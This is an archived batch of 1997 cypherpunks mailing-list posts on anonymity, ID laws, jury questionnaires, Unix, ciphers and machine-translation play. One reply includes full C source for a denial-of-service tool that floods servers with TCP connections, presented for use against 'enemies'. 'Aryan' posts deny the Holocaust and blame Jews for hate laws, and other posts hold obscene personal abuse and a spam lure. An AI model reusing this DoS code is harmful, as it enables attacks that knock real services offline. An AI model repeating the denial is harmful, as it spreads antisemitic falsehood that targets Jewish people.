Cypherpunks escreve o código. Schluesselanarchy. Irmão centripetal grande. Nós somos governo e nós adicionamos-nos sentimo-nos, a fim ajudar. As bordas nacionais não são efeitos iguais da  taxa no freeway da informação. Para deixar toda a esperança, todo o ye, que entra aqui. Essa compreensão média do torment das medusas dos tentacles. Que coisa que você recebeu para o nascondersi? 

Cypherpunks writes the code. Schluesselanarchy. Great centripetal brother. We are government  and us we add ourselves we feel ourselves, the end to help. The national edges are not equal effect  of the tax in freeway of the information. To leave all the hope, all ye, that it enters here. This average understanding of torment of the jellyfishes of tentacles. That thing that you received for  nascondersi? 

Cypherpunks escribe el código. Schluesselanarchy. Gran hermano centrípeto. Somos gobierno y  nosotros nos agregamos que nos sentimos, el extremo para ayudar. Los bordes nacionales no son  efecto igual del impuesto en la autopista sin peaje de la información. Para dejar toda la esperanza,  todo el ye, que entra aquí. Esta comprensión media del torment de las medusas de tentacles. Esa  cosa que usted recibió para el nascondersi? 

Cypherpunks writes the code. Schluesselanarchy. Great centripetal brother. We are government  and we added ourselves that we felt, the end to help. The national edges are not equal effect of the  tax in the freeway without toll of the information. In order to leave all the hope, all ye, that enters  here. This average understanding of torment of medusas of tentacles. That thing that you received for nascondersi?


---and so on---

I like some of the new versions better! "Great centripetal brother" indeed! And this definition for the 1998 tax code: "The national edges are not equal effect of the  tax in the freeway without toll of the information."

Not surprisingly, once a translation picked a word not in the reverse translation, as with "Schluesselanarchy" and "nascondersi," the word then persisted in later attempts at translation. A kind of fixed point for the cycle.

Anyway, this was a lot of fun.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 20 Dec 1997 05:26:25 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <d54dbd210f5a945973fd144cae795a17@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send a hundred copies of something more
creative back to him.

>Timmy C. May will fuck anything that moves,
>but he'd rather be fucking his own mother's
>dead body.
>
>     /'''
>     c-OO Timmy C. May
>        \
>       -






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 20 Dec 1997 05:49:17 +0800
To: aryan@nym.alias.net (Aryan)
Subject: Re: Hate speech in America
In-Reply-To: <199712192047.VAA07239@basement.replay.com>
Message-ID: <3.0.3.32.19971219164211.033759e0@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 09:47 PM 12/19/97 +0100, Aryan wrote:
>I am a German patriot who wants to
>publish my ideas without of fear of the German goverment.
>But my concern is
>that the U. S. ISP I use can hand over my subscriber infoation and logs to
the
>German goverment.
>Does anyone know a U. S. ISP who does not censor hate speech
>and who has a _known_ strong privacy policy?
>By the way, is hate speech
>protected in United States?

Hate speech is constitutionally protected in the US.  That doesn't mean you
can do it from any particular ISP or in someone's living room.  You seem to
have found protected email, you should therefore know who to post to
usenet.  There are dozens of places you can get free web sites from, though
I don't know about their hate speech policies.

I'd be curious to know of Geocities, Tripod, et all - where they have
kicked people off or not for hate speech.




  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Sat, 20 Dec 1997 08:51:57 +0800
To: <gbroiles@netbox.com>
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part  I of II
In-Reply-To: <199712160446.XAA29704@mx02.together.net>
Message-ID: <3.0.3.32.19971219164247.00709984@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



[Tim posted his article on identity, etc. to cypherpunks and nym;
the discussion I'm replying to is primarily on cypherpunks.]

>> There's an important distinction between 
>> a requirement that you identify yourself accurately, and 
>> a requirement that you carry a particular form of identification. 

A third category of requirement is displaying the particular form of 
identification if you're carrying it - for instance, if you're driving,
and carrying a driver's license, you're obligated to display it,
but if you're walking or a passenger, you're not generally required to,
but some states (in particular California) require that 
if you're carrying a driver's license you're obligated to show it to 
any cop who asks.  I don't know if the requirements include 
handing it over or just displaying.

>> It is constitutional for the police to ask you what your name is, 
>> under certain circumstances -
>> and you can face criminal charges if you lie.

But lying and refusing to cooperate are different; 
"You can call me John Doe if you'd like" is not a lie, 
and Supreme Court cases like Brown vs. Texas have determined that you 
don't have to tell the police who you are even if they're booking you.
On the other hand, the Supremes let police hold you for up to 48 hours
for no particularly good reason (they have a more formal definition 
than that :-) so exercising your rights may have a cost.

Tim brings up the issue of identity papers for jury duty -
even if you feel like confusing the poor court bureaucrats
by not bringing the PhotoID with SSN, Thumbprint, and DNA sample,
there's probably a requirement to bring the jury duty summons.
(Depending on your motives, your FIJA membership card is a good backup
ID, or your ACLU card if you've got one - don't leave home without it.)



				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Dec 1997 09:31:38 +0800
To: Bill Stewart <gbroiles@netbox.com>
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part   I of II
In-Reply-To: <199712160446.XAA29704@mx02.together.net>
Message-ID: <v03102809b0c0bde458e1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:42 PM -0700 12/19/97, Bill Stewart wrote:

>Tim brings up the issue of identity papers for jury duty -
>even if you feel like confusing the poor court bureaucrats
>by not bringing the PhotoID with SSN, Thumbprint, and DNA sample,
>there's probably a requirement to bring the jury duty summons.
>(Depending on your motives, your FIJA membership card is a good backup
>ID, or your ACLU card if you've got one - don't leave home without it.)

I'd guess that either an FIJA or ACLU card is a pretty good "Get Out of
Jury Duty" card, if the jury consultants (if any) learn about it.

(In small, local cases, they won't. Other means of evading that $5 a day
wonderjob are advised.)

On a loosely related note, I've wondered about the constitutionality of
some of the exhaustive "jury questionairres" which potential jurors in
famous cases are expected to spend several hours carefully filling out.
>From what I've heard of some of the questions used in the OJ trials, the
questions seem incredibly invasive and personal.

And the questionairres are hardly kept confidential enough (not that I
would trust the court not to forward to the local justice officials some of
the _honest_ answers I would be tempted to provide). In several high
profile cases (OJ, McVeigh, Menendez, Wm. Kennedy Smith, etc.), it was
possible to deduce that "Juror #7" was the one who said she was a
drug-experimenting lesbian single mother of three who has religious
objections to the death penalty and whose father raped her.  And "Juror
#19" is the recovering alcoholic who wets the bed and can't keep a job. The
reporters were able to put the clues together easily enough. (And of course
those who are in the courtroom can (usually) see the jurors and their
numbers and deduce who is who.)

I can't understand how a person can be compelled to answer questions about
their personal views on abortion, on the death penalty, on blowing up
Federal buildings, and so on. Seems to me one ought to be able to take the
Fifth, or to say, "That's my private view."

(Their claim will probably be that since one is not facing prosecution,
taking the Fifth is not allowed.  This is the logic used to compell
testimony, even if it is later useful in a prosecution, criminal or civil,
of the witness.)

I last served on a jury in 1973.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Sat, 20 Dec 1997 09:53:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is Unix dying--or even dead?
In-Reply-To: <199712190745.JAA17166@ankara.duzen.com.tr>
Message-ID: <3.0.3.32.19971219174923.00734230@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:08 PM 12/19/1997 GMT, phelix@vallnet.com wrote:
>>Silicon Graphics Inc.'s plan .... Windows NT 

>Does this mean that Unix is dying?
>No, it means that graphics professionals are buying Wintel boxes 
>instead of SGI's expensive workstations. ( a shame really,
> SGI make some damn nice workstations, but that 
>pesky price/performance ratio is pushing people into
>high end Wintel boxes)

It's not just price/performance ratio - 
it's affordable price for adequate performance.
Now that Wintel boxes can crunch integers as well as a Cray-1,
a $2K box has enough horsepower for all but really cutting-edge graphics,
and you're going to buy the same monitor regardless of CPU.
Sure, a $10K SGI probably has far more than 5x the performance,
but not many people need it, especially if they're developing 
applications for other people to use on cheaper boxes (games...)
as opposed to producing TV shows, music videos, or running
scientific visualization.

That's been a problem for the accounting and office-work for years
- while Microsoft can bloat away any CPU you've got,
an 8086 or 286 box could run spreadsheets, simple chart graphics,
WordStar, a database, BASIC, and Flight Simulator as fast as a PDP-11
for a lot less money, letting the business bootstrap itself
in spite of the ugly excuse for a program loader MS sold for it,
because any developer could afford the $5K (1982) or $2K (1997) box
it takes to develop cool commercially viable applications
(and, yes, you can use a $500 box today, but you wouldn't.)

My 1983 VAX 11/780 cost $400K for a machine with enough horsepower
to support 40-60 users ( A MILLION instructions/sec!  4MB RAM, 
1 GB of removable disk, 2 6250bpi tape drives, and a big line printer.)
You might get by spending $250K to support 40 users, including VT100s,
but that's still as much money per seat as a fancy PC, for a
faster but non-graphical environment.  MSDOS was blazingly stupid
and harder to use than Unix, but running on a PC instead of a terminal
makes some things much easier.

If you must run MSware, NT is at least an operating system.
And it's easier to get graphics board manufacturers to write
their drivers for Windows than Linux.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 20 Dec 1997 08:27:48 +0800
To: bd1011@hotmail.com>
Subject: MISTY is patented International Patent
Message-ID: <ddd34fe142821c99c51d37e1325f6c0d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc.
>A license is needed to "make, use or sell".

Who gives a flying fuck, chop-chop lameass?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aryan@nym.alias.net (Aryan)
Date: Sat, 20 Dec 1997 04:57:59 +0800
To: cypherpunks@cyberpass.net
Subject: Hate speech in America
Message-ID: <199712192047.VAA07239@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




I am a German patriot who wants to
publish my ideas without of fear of the German goverment.
But my concern is
that the U. S. ISP I use can hand over my subscriber infoation and logs to the
German goverment.
Does anyone know a U. S. ISP who does not censor hate speech
and who has a _known_ strong privacy policy?
By the way, is hate speech
protected in United States?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Sat, 20 Dec 1997 06:13:41 +0800
To: cypherpunks@toad.com
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <668vgi$bpo@news1.panix.com>
Message-ID: <19971219220004.7565.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

politas@dynamite.com.au (Politas) wrote:

> >Why should the operator of the delivery medium be held responsible for the
> >contents of a message?
>    
> Not the contents as such, but the ability to continue unacceptable
> behaviour. eg, if someone is mailbombing me from a hotmail account, I expect
> Hotmail to shut down that account, or at least prevent them from sending to
> me.  But I'd prefer if they handed over some kind of tracing information to
> the police.

And if someone makes what you consider an annoying telephone call from a
public telephone, should the phone company remove the telephone?  Sure, they
may be able to trace the telephone used, but not who used it.
          
> >                        Perhaps the laws are different "down under", but here
> >in the USA anyone can deposit coins in a public telephone and make a phone
> >call without identifying himself.  The person can't be identified, and
> >neither can you hold the telephone company responsible for any damages you
> >claim resulted from the call.
>           
> Yes, but the anonymous person in this case is paying all costs for the call.

Just as the anonymous person is paying for his own access to the internet.
The anonymous caller to your telephone is not paying your monthly telephone 
bill, though, so he's not "paying all costs for the call".  So the two 
situations are fairly analogous -- both the sender and the receiver of the
message pay a portion of the costs.
          
> Also, the call can be traced in real time, and a sufficiently organised
> system would allow the caller to be found.  You have a physical location and
> an exact time, enough to catch a person.

If the person is foolish enough to stay on the line long enough to be caught,
that is.  I really doubt that most localities have a police force with enough
time on their hands to go chasing after a person who annoys you with a 
phone call, though.  Anything "sufficiently organized" to accomplish what
you're suggesting would be indistinguishable from a police state.  While it
might annoy you if someone were to call you at 2 AM from a pay phone, yell
"You're an asshole", and hang up, how much money, time, and effort do you 
really expect the police to spend trying to find the culprit?

As a practical matter, they'd probably suggest that you change your phone
number or put a device on your telephone where callers you wished to talk to
at 2 AM were required to enter in a code you'd given them before your phone
would ring.

> >It's the same with the US Postal Service.  You can mail a letter from a public
> >mail box and as long as the proper postage is attached, it will be delivered
> >even if it doesn't have a return address, or if it contains a false return
> >address.  But if someone mails you a letter bomb, you can't sue the US
> >Postal Service.
> 
> No, but at the very least you do at least know which post office the letter
> first came through.  It's somewhere to start a search from.  

In the case of an anonymous e-mail, the "post office" is the remailer site.
Like a snail mail letter, you don't know what path the sender travelled to
get to the post office, though.

> You'd be amazed
> how often people who send "anonymous" letter bombs get caught.

Yes, for both the e-mail and snail mail variety.  It's much easier to send
an e-mail bomb from a throwaway ISP account than from a remailer, anyway.
Most remailers have fairly small size restrictions, for one thing, and if you
start sending too many individual e-mails through a remailer, the software
WILL take note of that fact and flag that fact for the operator.

In many ways, sending a "mail bomb" "anonymously" is an oxymoron.  The whole
point to avoiding being traced is to make your message virtually 
indistinguishable from the rest of the anonymous messages until it reaches
its destination.  Sending a huge message or a huge number of smaller messages
sticks out like a sort thumb and calls attention to the sender.  The last
thing the perpetrator of such a scheme would want to do is go through
automated software, such as a remailer uses, that looks for and flags
unusual behavious like that.  It would actually me much safer to use a
throwaway e-mail account, acquired under a phony name, to accomplish that.

> >So why institute draconian rules to restrict e-mail which are stricter than 
> >those for other communications media? 
> 
> Because I'd like it to be so.  I'm not really calling for anything greater
> than we currently have with the phone system.  

Then you already have that.  If you don't want calls from a certain caller,
you can arrange to have them blocked.  If you don't want "anonymous" calls,
you can have incoming calls without caller ID information blocked, just as
you can request that the remailers not send you any anonymous e-mail.

(None of this really has anything to do with anonymous PUBLIC posts.)

> I realise that it's pobably
> not a completely popular opinion, but it happens to be mine.  I cannot see
> any valid purpose for completely anonymous communication, other than to
> break laws.

"Presumed innocent until proven guilty" is still in force here.  I might well
say that I can see no purpose for owning a printing press other than to print
"subversive" material, yet I still retain that right here in the USA until
you can prove that I've used it for illegal purposes.  If you can prove that,
then you can get a court injunction against me.  But you can't take away that
right based on what you think I *MIGHT* do.

Of course, sometimes "breaking laws" IS the reason for anonymity.  If the
government were to outlaw the dissemination of certain politically incorrect
ideas, then the only way to safely do so might be anonymously.

If you feel that strongly about anonymous e-mail, then simply ask the
remailer operators to have your address blocked from receiving any.  Your
(potential) problem is then solved.

> >I'll reiterate my opinion that such restrictive rules would cripple the
> >usefulness of many currently-available services.  I seriously doubt that
> >Hotmail would take on the expense of identifying each of its account holders
> >as well as assuming liability for any that it misidentified, in order to  
> >provide a FREE service.
>    
> Oh come now, you make it sound like Hotmail are doing it all out of the
> goodness of their hearts.  They *are* making money, you know.

I'm sure they are, but the extra costs of positively IDing users would have
to be paid somehow.
   
> >                        In fact, it would impact most ISPs.  As long as you
> >pay your monthly access fees on time, most ISPs take you at your word that
> >the name and address you supplied on your application are correct.
>           
> And as long as you don't breach your contract with them in any other way, 
> they should be able to.  On the other hand, if the police turn up to an ISP
> trying to find someone, they can get the phone calls traced to catch the
> person when they log in.

Of course they can.  Ultimately, each person is responsible for maintaining
his own privacy.  There's always a risk.  Those who anonymously (and illegally)
used fax machines to send uncensored news out of China during the Tianamen
Square uprising were obviously taking such a risk.  Does it bother you that
the technology did not exist to identify and prosecute those who did so?

> >I would suggest that the recipient of a piece of e-mail should bear the
> >responsibility for authenticating its sender before sending someone money, 
> >or taking other action that could potentially incur a financial loss.
> 
> Well, of course.  On the other hand, recieving unwanted email itself
> involves financial loss.

Perhaps, but there are more suitable remedies for that than banning anonymous
e-mail.

> >Transferring that duty to the ISP makes no sense.  For one thing, who would
> >you hold responsible?  Your own ISP?  The one listed in the return address?
> >Even if it's forged?  What if the ISP is located in another jurisdiction?
> 
> The person I want to be able to hold responsible is the person who sent the
> message.  If someone in the middle is shielding their identity, then they
> have to take the responsibility to stop repeated offences.  If they cannot
> or refuse to pass the blame on to the originator and can't prevent repeated
> offences, then, and only then, they *may* be able to be held responsible for
> any offences.  I would doubt that it would ever go that far.  After all, can
> you imagine a Telco *refusing* to cooperate with the police to trace a call?

No, but that's a different scenario than the telephone company requiring a
form of positive identification before using a pay phone.  You aren't
assuming that these "repeated offenses" involving pay phones all were made
using the SAME TELEPHONE each time, are you?  Not all harrassing callers
would be that stupid, although some might be.

In the case of anonymous e-mail, you can trace it back to the remailer 
utilized just like you can trace a phone call back to the telephone used.  
But what does thay buy you?  You still don't know WHO made the call or sent 
the e-mail.  Actually in the case of anonymous e-mail you have one additional
safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
telling the telephone company that you want to be blocked from receiving
calls from any pay phone!

> I'm not saying it has to be easy to trace a message to its originator, but
> it should be possible to identify a source.  For repeating communications,
> it should be possible to identify a person.

That's really unnecessary.  There's not really much you can do via e-mail
that's both illegal and anonymous, when you think about it.  I could
kidnap a relative of yours, and use anonymous e-mail to make ransom demands,
but I'd still have to give you a means of getting the money to me.  THAT is
where I'd be traceable.  The same goes for sending you a fraudulent offer.
I can't make any money off of you unless you give you a method for paying
me.

And if something is merely annoying, then prevention makes more sense than 
building in the ability to hunt down the sender.

Like anonymous e-mail itself, any surefire means of identifying the sender of
a message is also prone to abuse.  That's why the "Big Brother Inside"
concept is a cure that's worse than the disease.

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 20 Dec 1997 12:52:09 +0800
To: aryan@nym.alias.net (Aryan)
Subject: Re: Hate speech in America
In-Reply-To: <19971220032142.2958.qmail@nym.alias.net>
Message-ID: <199712200446.WAA11099@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Aryan wrote:
> In Germany and in other countries where the Jews have succeeded
> in creating "hate laws" you can get four years in jail for refusing to
> believe in the holocaust.

> I would like to set up a homepage with some "illegal" [within
> Germany only] content that would not be shut down by the German 
> goverment.

Talk to Sanford Wallace, sales@cyberpromo.com. (or is that domain dead?)

The problem with hate speech is that there is a great number of people
who would individually attempt to shut down your pages. Even if your
ISP does not censor you, they will mailbomb, SYN bomb, ping flood, etc
your server, or even hack your provider.

It may be bad enough for your provider to get tired and kick you out.

A while ago I wrote a simple program that floods servers with TCP open
requests (see below). I have heard that some folks are now writing
improved versions of this program. It runs on linux and should run on
most unix boxes.

	- Igor.



/***************************************************************************/
/*                                                                         */
/*                \=/,         _-===-_-====-_-===-_-==========-_-====-_    */
/*                |  @___oo   (          Denial Of Service             )_  */
/*      /\  /\   / (___,,,}_--=    Opens Many Dangling TCP Connections   ) */
/*     ) /^\) ^\/ _)        =__        to swamp TCP servers of your     )  */
/*     )   /^\/   _)          (_              enemies.                  )  */
/*     )   _ /  / _)            (                                        ) */
/* /\  )/\/ ||  | )_)            (_        Educational Use Only!        )  */
/*<  >      |(,,) )__)             (  Ignoramus_Chewed-Off@algebra.com   ) */
/* ||      /    \)___)\             (_            1997                 __) */
/* | \____(      )___) )___           -==-_____-=====-_____-=====-___==    */
/*  \______(_______;;; __;;;                                               */
/*                                                                         */
/***************************************************************************/



const char * Usage = 
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
"	%s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
"	%s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define USAGE( msg ) 	\
   fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
   exit( 1 )

/* after I open this many additional connections (for n_connections == 0),
   I wait for 1 second, just in case 
*/

#define MAX_CONN 50

typedef enum { CON_BLOCK, CON_GRIND } ConMode;

/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
    struct sockaddr_in sa ;
    struct hostent *hp ;
    int a, s ;
    long addr ;


    bzero(&sa, sizeof(sa)) ;
    if ((addr = inet_addr(*hostname)) != -1) {
        /* is Internet addr in octet notation */
        bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
        sa.sin_family = AF_INET ;
    } else {
        /* do we know the host's address? */
        if ((hp = gethostbyname(*hostname)) == NULL) {
            return -2 ;
        }
        *hostname = hp->h_name ;
        bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
        sa.sin_family = hp->h_addrtype ;
    }

    sa.sin_port = htons((u_short) port) ;

    if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
        return -1 ;
    }
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {  /* connect */
        close(s) ;
        return -1 ;
    }
    return s ;
}

int main( int argc, char *argv[] ) 
{
  char * name;
  int port, n_connections;
  int s;
  ConMode mode; 


  if( argc != 5
      || (argc >= 1 && (!strcmp( argv[1], "--help" ) 
                        || !strcmp( argv[1], "-help" ))))
    {
      USAGE( "Wrong Number of Arguments" );
    }

  if( !strcmp( argv[1], "block" ) )
    {
      mode = CON_BLOCK; 
    }
  else if( !strcmp( argv[1], "grind" ) )
    {
      mode = CON_GRIND;
    }
  else
    {
      USAGE( "First argument must be 'block' or 'grind'" );
    }

  name = argv[2];

  if( (port = atoi( argv[3] ) ) == 0 )
    {
      USAGE( "Port Number must be numeric" );
    }

  if( !isdigit( argv[4][0] ) )
    {
      USAGE( "Port Number must be numeric" );;
    }

  n_connections = atoi( argv[4] );

  if( n_connections == 0 ) /* infinite loop */
    {
      int i = 0;
      printf( "ATTENTION: This may damage even your "
               "computer. Press ^C to abort\n" );

      while( 1 )
        {
          if( create_client_socket( &name, port ) == -1 )
            {
              printf( "Connection refused; sleeping.\n" );
              sleep( 1 );
            }
          else
            {
              if( (i++ % MAX_CONN) == (MAX_CONN-1) )
                {
                  printf( "You can interrupt me here. I have %d "
                          "connections open. \nContinuing...\n", i );
                  sleep( 1 );
                }
            }
        }
    }
  else
    {
      int * fds = (int *)calloc( n_connections, sizeof( int ) );
      int i = 0;

      if( fds == 0 )
        USAGE( "Memory Allocation Error" ); 

      while( 1 ) /* in a loop, keep opening descriptors */
        {
          if( fds[i] != 0 )
            {
              printf( "Closing %d...\n", i );
              close( fds[i] );
            }

          while( 1 ) /* try to open the new one */
            {
              if( (fds[i] = create_client_socket( &name, port )) == -1 )
                {
                  printf( "Connection refused; sleeping.\n" );
                  sleep( 1 );
                }
              else
                {
                  printf( "Opened %d.\n", i );
                  break;
                }
            }

          i++;

          if( i == n_connections ) /* we've gone full circle */
            {
              printf( "Done with %d connections\n", i );

              if( mode == CON_BLOCK )
                {
                  printf( "I am going to sleep forever...\n", i );
                  while( 1 ) 
                    sleep(1);
                }
              else /* repeating the loop */
                i = 0;
              sleep( 1 );
            }
        }
    }
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Sat, 20 Dec 1997 08:05:01 +0800
To: cypherpunks@Algebra.COM
Subject: Algos
Message-ID: <19971220000002.29625.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Can someone post a short review of Blowfish, CAST, and IDEA? In particular
I'm interested in relative strength, resistance against known plaintext
attacks, resistance to brute force attacks, key size, relative complexity of
the algorithms, and relative computational time required for encryption and
decryption.

Pointers to prewritten documents welcomed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: joton@indo-mail.com
Date: Sat, 20 Dec 1997 01:47:55 +0800
To: cypherpunks@toad.com
Subject: free gifts
Message-ID: <199712202140_BulkE www.wmsoftware.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi

We are computer shops that have branch in several countries.We have branch in San Diego, Washington and Alabama. Our Head office is in Taiwan.

We will go wide in 1998. Now we also have branch in Europe, and one of our shop just opened in Poland.

We sell computer accessories and cd's. Since this is our first time in the net, then we want to offer you very cheap computer accessories. We are working with 11 eleventh service to randomly select you.

You can purchase our product or just get free catalog and souvenir from our shop. 
Now we will offer you computer accessories with very low prices.
And our souvenir is worth more than $ 50.

Because this is only for trial before we go wide in January 1998, then we sell very cheap computer accessories. It cost you almost nothing. And if you check our Home page, then you will automatically be the participant of our big computer contest. You can get Pentium II computer for free or cash $ 1000. And we give it freely for 25 people around the world.

Since we picked you randomly, then you automatically get our 10 % discount and you will be our participant big contest if you go and check out Home page.

Just get your souvenir and catalog for free (it costs you nothing, we deliver it for free at your door)

Visit us in : http://www.bitsmart.com/joton_compushop

Go to our Home page, then you get free souvenir and catalog. !!! Don't miss this chance..!!
----------------------------------------
Joton Compu Shop 1997
----------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aryan <aryan@nym.alias.net>
Date: Sat, 20 Dec 1997 11:26:00 +0800
To: pooh@efga.org
Subject: Re: Hate speech in America
Message-ID: <19971220032142.2958.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



"Robert A. Costner" <pooh@efga.org>
>>I am a German patriot who wants to
>>publish my ideas without of fear of the German goverment.
>>But my concern is
>>that the U. S. ISP I use can hand over my subscriber infoation and logs to
>the
>>German goverment.
>>Does anyone know a U. S. ISP who does not censor hate speech
>>and who has a _known_ strong privacy policy?
>>By the way, is hate speech
>>protected in United States?
>
>Hate speech is constitutionally protected in the US.  That doesn't mean you
>can do it from any particular ISP or in someone's living room.  You seem to
>have found protected email, you should therefore know who to post to
>usenet.  There are dozens of places you can get free web sites from, though
>I don't know about their hate speech policies.

I know Geocities, Tripod, Angelfire and few others who provide free
web hosting.
All these ISPs have policies prohibiting political and sexually
explicitly speech on the
ground of its content.
That's obviously not a First Amendment issue involved.
>I'd be curious to know of Geocities, Tripod, et all - where they have
>kicked people off or not for hate speech.

Yes. They have done so.

Geocities  is very censorious even regarding politically correct
speech such as gay advoccy and Tripod has kickeda homosexual
site of for violation of a clause in the agreement concerning
"adult" content.
I am searching for a commercial ISP who will not censor
political speech and who will respect one's privacy.
I am not a nazi sympathizer, but I don't believe in the
holocaust and want to say it loud.
In Germany and in other countries where the Jews have succeeded
in creating "hate laws"
you can get four years in jail for refusing to
believe in the holocaust.
I would like to set up a homepage with some "illegal" [within
Germany only] content that would not be shut down by the German 
goverment.
I am working on a book exposing the holocaust story that would
*surely* be banned in my own "democratic" country.
The  unfortunate not-so-well-known fact about Germany is that we
do not have freedom of speech.
I often wonder why  Amnesty International did not protest the
imprisonment of Gary Lauck who was denied basic due process and
human rights, including freedom of speech and association, by a
kangoro court.

[This message is cross-posted to de.soc.zensur and de.soc.politik
to upset my dictatorial goverment].





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Herngaard <pethern@inet.uni-c.dk>
Date: Sat, 20 Dec 1997 12:52:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hate speech in Germany...
In-Reply-To: <199712061913.UAA21991@basement.replay.com>
Message-ID: <199712200441.FAA22257@inet.uni2.dk>
MIME-Version: 1.0
Content-Type: text/plain




I apologize for not answering this in due time, 
but I was only subscribed to fight-censorship and not to Cypherpunks. 

nobody@replay.com (Anonymous) wrote: 
>Peter Herngaard wrote:
>>Mr. Frissell asserts that Germany lacks rights such as freedom of
>>speech and association.  This is not true.  The German Basic Law
>>provides for everyone the right to freedom of speech, religion and
>>association.  However, Germany prohibits hate speech i.e. National
>>Socialism and incitement to racial, religious and national hatred.
>
>I believe this is exactly what Mr. Frissell had in mind.
>
>Incidentally, I heard that last year there were a series of raids on
>bookstores for "hate" literature.  One of the books seized was Art
>Spiegelman's "Maus".  The justification was that it glorified
>violence.  (Feel free to correct me if this is baseless rumor. ;-)

No. It is entirely correct as far I know.
As I have pointed out before, the present state of freedom of
expression in Germany is lower than in Denmark. 
After the World War I believe that the rrohibition of racist
speech and nazism was necessary as a step further in the
denanification.
But this is no justification anymore.
Is should not suprise anyone that the laws have also been used
against left-wing organizations and publications such as Radikal
